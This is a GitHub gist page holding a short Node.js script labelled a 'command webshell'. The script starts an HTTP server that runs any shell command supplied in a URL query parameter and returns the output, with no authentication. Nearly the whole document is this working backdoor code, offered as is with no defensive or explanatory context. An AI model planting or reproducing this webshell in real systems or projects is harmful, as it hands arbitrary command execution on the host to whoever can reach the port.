Skip to content

Instantly share code, notes, and snippets.

@khakimov
Created March 10, 2013 19:53
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save khakimov/5130151 to your computer and use it in GitHub Desktop.
Save khakimov/5130151 to your computer and use it in GitHub Desktop.
node.js command webshell
var sys = require('sys'),
exec = require('child_process').exec,
child,
http = require('http');
child = function(res, cmd) {
exec(cmd,
function (error, stdout, stderr) {
res.end(stdout);
if (error !== null) {
console.log('exec error: ' + error);
}
});
};
http.createServer(function (req, res) {
res.writeHead(200, {'Content-Type': 'text/plain'});
var parsedRequest = require('url').parse(req.url, true);
var cmd = parsedRequest.query['name'];
if (cmd != undefined)
{
console.log("[cmd] " + cmd);
child(res, cmd);
}
}).listen('6660', '127.0.0.1');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment